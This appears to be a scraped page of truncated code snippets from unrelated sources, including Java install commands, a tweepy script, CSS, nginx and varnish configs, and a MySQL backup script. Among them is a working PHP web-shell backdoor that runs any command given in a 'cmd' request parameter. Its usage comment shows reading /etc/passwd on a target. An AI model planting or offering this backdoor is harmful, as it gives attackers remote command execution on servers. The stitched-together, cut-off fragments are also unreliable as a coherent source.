sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install openjdk-8-jdk
www.energy.gov | |
gobbledegook | |
apple.com | |
www.gpo.gov | |
httpstat.us/404 |
<!-- Simple PHP Backdoor By DK (One-Liner Version) --> | |
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd --> | |
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> |
import tweepy | |
import csv | |
import pandas as pd | |
####input your credentials here | |
consumer_key = '' | |
consumer_secret = '' | |
access_token = '' | |
access_token_secret = '' | |
auth = tweepy.OAuthHandler(consumer_key, consumer_secret) |
@charset 'UTF-8'; | |
/* Slider */ | |
.slick-loading .slick-list | |
{ | |
background: #fff url('./ajax-loader.gif') center center no-repeat; | |
} | |
/* Icons */ | |
@font-face | |
{ |
#!/bin/sh | |
# | |
# Observium License Version 1.0 | |
# ============================= | |
# | |
# Copyright (c) 2013-2015 Joe Holden, (c) 2015-2016 Observium Limited | |
# | |
# The intent of this license is to establish the freedom to use, share and contribute to | |
# the software regulated by this license. | |
# |
user web; | |
# One worker process per CPU core. | |
worker_processes 8; | |
# Also set | |
# /etc/security/limits.conf | |
# web soft nofile 65535 | |
# web hard nofile 65535 | |
# /etc/default/nginx |
#!/bin/bash | |
MySQLUSER="homestead" # USERNAME | |
MySQLPASS="secret" # PASSWORD | |
MySQLHOST="localhost" # HOSTNAME | |
# Linux executetable path.. | |
MYSQL="$(which mysql)" | |
MYSQLDUMP="$(which mysqldump)" | |
GZIP="$(which gzip)" |
# Configuration file for varnish | |
# | |
# /etc/init.d/varnish expects the variable $DAEMON_OPTS to be set from this | |
# shell script fragment. | |
# | |
# Maximum number of open files (for ulimit -n) | |
NFILES=131072 | |
# Locked shared memory (for ulimit -l) |
- Setting up nagios server on Ubuntu 12.04.3 LTS | |
This describes how to setup a nagios server with nginx | |
and configure various checks. | |
The checks are specific to my needs, your millage may vary. | |
== Install the required packages == | |
== w/ sudo == |